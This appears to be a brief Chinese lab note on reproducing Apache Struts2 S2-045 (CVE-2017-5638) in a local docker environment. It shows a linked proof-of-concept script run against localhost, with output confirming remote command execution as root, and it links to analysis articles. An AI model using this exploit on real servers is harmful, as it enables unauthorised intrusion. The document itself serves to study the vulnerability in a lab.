struts2 s2-045初探

https://github.com/Medicean/VulApps
使用它的docker镜像
用这个poc
https://github.com/Medicean/VulApps/blob/master/s/struts2/s2-045/poc.py

➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080
[*] struts2_S2-045.py <url> <cmd>
➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080 id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id

uid=0(root) gid=0(root) groups=0(root)

➜  VulApps/s/struts2/s2-045 master ✓ python poc.py http://127.0.0.1:8080 pwd
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: pwd

/tmp

➜  VulApps/s/struts2/s2-045 master ✓

然后后来看到了有人搭好了环境。
https://github.com/mottoin/S2-045
下载下来到本地测试一下。

漏洞分析

http://paper.seebug.org/241/
http://blog.csdn.net/u011721501/article/details/60768657
http://bobao.360.cn/learning/detail/3596.html